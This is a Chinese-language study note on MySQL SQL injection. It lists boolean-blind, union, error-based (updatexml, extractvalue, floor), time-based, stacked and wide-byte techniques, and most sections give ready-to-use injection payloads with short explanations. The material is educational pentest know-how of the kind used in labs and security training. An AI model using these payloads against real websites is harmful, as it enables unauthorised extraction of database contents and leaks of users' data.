SQL注入学习笔记-MYSQL注入
前言
SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。
bool盲注
一、盲注常用函数
函数 | 作用 |
---|---|
length() | 返回字符串的长度,例如可以返回数据库名字的长度 |
substr() | 截取字符串,偏移从1开始,非从0开始 |
ascii() | 返回字符的ascii码 |
sleep(n) | 将程序挂起⼀段时间,n为n秒 |
if(expr1,expr2,expr3) | 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句 |
mid() | mid(a,b,c)从位置b开始,截取a字符串的c位 |
二、判断注入点
➤ 判断是否存在注入点 ?id=1' and 1=1 --+(正常页面) ?id=1' and 1=2 --+(报错页面,页面无任何回显) |
三、猜解数据库
➤ 猜解数据库名长度 1' and length(database())=1 --+ # 猜解数据库名长度为1,返回错误页面 1' and length(database())=8 --+ # 猜解数据库名长度为8,返回正常页面,即数据库名长度为8 |
四、猜解数据表
➤ 猜解数据库存在多少个数据表 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+ # 错误页面,说明不是只有一个数据表 1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ # 正确页面,说明该数据库存在4个数据表 |
五、猜解表中字段名
➤ 猜解一个表中字段数 1' and (select count(column_name) from information_schema.columns where table_name='数据表名')=1 --+ # 页面错误,说明字段数不为1 1' and (select count(column_name) from information_schema.columns where table_name='数据表名')=2 --+ # 页面正确,说明字段数为2 |
六、猜解数据
➤ 猜解数据 1' and ascii(substr((select 字段名 from 数据库表名 limit 0,1),1,1))=30 --+ # 页面错误,第一个数据字符ascill值不为30 1' and ascii(substr((select 字段名 from 数据表名 limit 0,1),1,1))=49 --+ # 页面正确,第一个数据字符ascill值为49 |
七、利用字典进行暴力破解
➤ 直接猜解数据是否为"admin" 1' and (select count(*) from 数据表名 where 字段名 = 'admin') = 1 --+ |
联合注入
第一步:判断注入类型
➤ 整形判断,以下语句,若页面有所变化则可能存在整形注入 ?id=1 and 1=1 ?id=1 and 1=2 |
第二步、判断字段数,通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,正常若少于字段数则表现为正常页面
➤ 整形 ?id=1 order by 5(页面报错) ?id=1 order by 4(页面正常,字段数为4) |
第三步:判断回显点,通过上一步知道字段数为4,所以在联合查询时必须要对应4个查询点,使用联合查询(union)获取回显点,然后构造语句获取数据库名
➤ union select 1,2,3,4 --+ |
第四步:通过在回显点处构造注入代码(在报错页面上进行查询,即?id=1' 、 and 1=2等页面)
➤ 查询数据库 ?id=97 and 1=2 union select 1,2,3,4,database(),6,7,8,9,10 |
报错注入
一、当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数updatexml(),extractvalue() 当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
1)updatexml()报错注入
➤ 爆破数据库版本 ?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23 |
2)extractvalue()报错注入
➤ 爆破当前数据库信息 1' and extractvalue(1,concat(0x5c,(select database())))# |
3)floor() 报错注入
➤ 爆破数据库版本信息 ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 |
时间盲注
1)主要使用sleep()函数进行判断
if(ascii(substr(user(),1,1))=114,sleep(5),2) id=1' and length(database())>=4--+ |
堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。在 ; 结束一个sql语句后继续构造下一条语句也就造就了堆叠注入 |
宽字节注入
id=1%df' id=1%df' %23 id=1%df' union select 1,2,3,database(),5,6,7,8%23 |